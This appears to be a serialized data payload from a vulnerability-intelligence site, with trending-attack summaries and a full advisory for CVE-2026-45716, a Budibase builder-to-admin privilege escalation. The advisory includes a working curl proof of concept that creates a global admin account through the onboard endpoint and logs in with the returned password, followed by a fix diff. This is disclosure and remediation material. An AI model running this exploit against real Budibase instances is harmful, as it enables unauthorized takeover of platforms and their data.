[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-45716":30,"landing-articles":90},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":51,"references":53,"score":58,"epss_score":59,"epss_percentile":60,"is_kev":61,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":62,"attack_mappings":72,"exploits":89},5963,"CVE-2026-45716","EUVD-2026-32602","Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration\n\n## Summary\n\nThe `POST \u002Fapi\u002Fglobal\u002Fusers\u002Fonboard` endpoint is protected by `workspaceBuilderOrAdmin` middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via `bulkCreate`, accepting arbitrary `admin` and `builder` role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.\n\n## Details\n\nThe vulnerability stems from a mismatch between the authorization level of the `onboardUsers` endpoint and the user-creation capabilities it exposes when SMTP is not configured.\n\n**Route definition** (`packages\u002Fworker\u002Fsrc\u002Fapi\u002Froutes\u002Fglobal\u002Fusers.ts:93-109`):\n```typescript\nbuilderOrAdminRoutes  \u002F\u002F \u003C-- allows builders, not just admins\n  .post(\n    \"\u002Fapi\u002Fglobal\u002Fusers\u002Fonboard\",\n    buildInviteMultipleValidation(),\n    controller.onboardUsers\n  )\n```\n\nCompare with the `invite` and `inviteMultiple` endpoints which are correctly admin-only:\n```typescript\nadminRoutes  \u002F\u002F \u003C-- admin only\n  .post(\"\u002Fapi\u002Fglobal\u002Fusers\u002Finvite\", buildInviteValidation(), controller.invite)\n  .post(\"\u002Fapi\u002Fglobal\u002Fusers\u002Fmulti\u002Finvite\", buildInviteMultipleValidation(), controller.inviteMultiple)\n```\n\n**Controller** (`packages\u002Fworker\u002Fsrc\u002Fapi\u002Fcontrollers\u002Fglobal\u002Fusers.ts:601-630`):\n```typescript\nexport const onboardUsers = async (ctx) => {\n  if (await isEmailConfigured()) {\n    await inviteMultiple(ctx)  \u002F\u002F admin-only path (delegates to invite flow)\n    return\n  }\n\n  \u002F\u002F No SMTP → directly create users with attacker-controlled roles\n  const users = ctx.request.body.map(invite => {\n    const password = generatePassword(12)\n    createdPasswords[invite.email] = password\n    return {\n      email: invite.email,\n      password,\n      forceResetPassword: true,\n      roles: invite.userInfo.apps || {},\n      admin: { global: !!invite.userInfo.admin },  \u002F\u002F \u003C-- attacker-controlled\n      builder: invite.userInfo.builder,              \u002F\u002F \u003C-- attacker-controlled\n      tenantId: tenancy.getTenantId(),\n    }\n  })\n\n  let resp = await userSdk.db.bulkCreate(users)\n  for (const user of resp.successful) {\n    user.password = createdPasswords[user.email]  \u002F\u002F \u003C-- password returned!\n  }\n  ctx.body = { ...resp, created: true }\n}\n```\n\n**Middleware pass-through** (`packages\u002Fbackend-core\u002Fsrc\u002Fmiddleware\u002FworkspaceBuilderOrAdmin.ts:10-26`):\n\nIn the worker context (`env.isWorker()` is `true`), when there is no `workspaceId` parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks `!workspaceId && env.isWorker()` — this is `true`, so it falls through to line 21 which only checks `hasBuilderPermissions`. Any global builder passes.\n\n**Validation gap** (`buildInviteMultipleValidation` at line 37-45): The Joi schema validates `userInfo` as `Joi.object().optional()` with no constraints on its contents, so `admin` and `builder` fields pass through.\n\n**No downstream check**: `bulkCreate` and `buildUser` do not strip or validate admin\u002Fbuilder fields — they are written directly to the user document in CouchDB.\n\n## PoC\n\n**Prerequisites:** A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.\n\n**Step 1:** Authenticate as a builder user and obtain the session cookie:\n```bash\n# Login as builder\ncurl -s -c cookies.txt -X POST 'http:\u002F\u002Flocalhost:10000\u002Fapi\u002Fglobal\u002Fauth\u002Fdefault\u002Flogin' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"builderpassword\"}'\n```\n\n**Step 2:** Create a new global admin user via the onboard endpoint:\n```bash\ncurl -s -X POST 'http:\u002F\u002Flocalhost:10000\u002Fapi\u002Fglobal\u002Fusers\u002Fonboard' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -b cookies.txt \\\n  -d '[{\"email\":\"pwned-admin@attacker.com\",\"userInfo\":{\"admin\":{\"global\":true}}}]'\n```\n\n**Expected response** (includes the generated password):\n```json\n{\n  \"successful\": [{\"email\":\"pwned-admin@attacker.com\",\"password\":\"\u003Cgenerated-12-char-password>\",\"admin\":{\"global\":true},...}],\n  \"unsuccessful\": [],\n  \"created\": true\n}\n```\n\n**Step 3:** Login as the new admin:\n```bash\ncurl -s -X POST 'http:\u002F\u002Flocalhost:10000\u002Fapi\u002Fglobal\u002Fauth\u002Fdefault\u002Flogin' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"pwned-admin@attacker.com\",\"password\":\"\u003Cpassword-from-step-2>\"}'\n```\n\nThe attacker now has full global admin access.\n\n## Impact\n\n- **Privilege escalation:** Any builder-level user can escalate to global admin on self-hosted Budibase instances without SMTP configured (the default deployment).\n- **Full platform compromise:** Global admin can access all apps, all data sources, manage all users, delete apps, and modify platform configuration.\n- **Credential exposure:** The generated password is returned in the HTTP response, giving the attacker immediate access to the new admin account.\n- **Stealth:** The created user appears as a legitimately onboarded user, making detection difficult without audit log review.\n- **Wide applicability:** Self-hosted Budibase instances commonly run without SMTP configuration, making this the default-exploitable path.\n\n## Recommended Fix\n\nMove the `onboardUsers` route from `builderOrAdminRoutes` to `adminRoutes` to match the authorization level of `invite` and `inviteMultiple`:\n\n```diff\n--- a\u002Fpackages\u002Fworker\u002Fsrc\u002Fapi\u002Froutes\u002Fglobal\u002Fusers.ts\n+++ b\u002Fpackages\u002Fworker\u002Fsrc\u002Fapi\u002Froutes\u002Fglobal\u002Fusers.ts\n-builderOrAdminRoutes\n+adminRoutes\n   .post(\n     \"\u002Fapi\u002Fglobal\u002Fusers\u002Fonboard\",\n     buildInviteMultipleValidation(),\n     controller.onboardUsers\n   )\n```\n\nAdditionally, the `onboardUsers` controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller:\n\n```typescript\n\u002F\u002F In onboardUsers, before bulkCreate:\nfor (const invite of ctx.request.body) {\n  if (invite.userInfo.admin && !ctx.user.admin?.global) {\n    ctx.throw(403, \"Only admins can create admin users\")\n  }\n}\n```","2026-05-18T17:42:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":45,"confidentialityImpact":42},"UNCHANGED","3.1",8.8,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE","LOW",true,[48],"CWE-269",[50],"cpe:2.3:a:budibase:worker:*:*:*:*:*:*:*:*",[52],"Budibase Worker",[54,55,56,57],"https:\u002F\u002Fgithub.com\u002FBudibase\u002Fbudibase\u002Freleases\u002Ftag\u002F3.38.1","https:\u002F\u002Fgithub.com\u002FBudibase\u002Fbudibase\u002Fsecurity\u002Fadvisories\u002FGHSA-c54j-xp92-wh28","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-45716","https:\u002F\u002Fgithub.com\u002FBudibase\u002Fbudibase",0.64,0.00261,0.17693,false,{"timestamp":63,"automatable":64,"tech_impact":65,"exploitation":66,"cisa_decision":67,"cisa_remediation_timeline":71},"2026-05-27T18:34:18.887031Z","no","total","none",{"vector":68,"decision":69,"priority":70},"CISAv1\u002FE:N\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T05:02:33.175356\u002F","track_star","medium","14D",[73,79],{"name":74,"source":75,"tactics":76,"technique_id":78},"Exploit Public-Facing Application","attack_vector",[77],"initial-access","T1190",{"name":80,"source":81,"cwe_ids":82,"tactics":83,"capec_ids":85,"technique_id":88},"Abuse Elevation Control Mechanism","capec",[48],[84],"privilege-escalation",[86,87],"CAPEC-122","CAPEC-233","T1548",[],{"count":91,"next":92,"previous":6,"results":93},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[94,102,110],{"id":95,"title":96,"summary":97,"published_at":98,"type":99,"link":100,"image_url":101},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":103,"title":104,"summary":105,"published_at":106,"type":107,"link":108,"image_url":109},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":111,"title":112,"summary":113,"published_at":114,"type":115,"link":116,"image_url":117},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]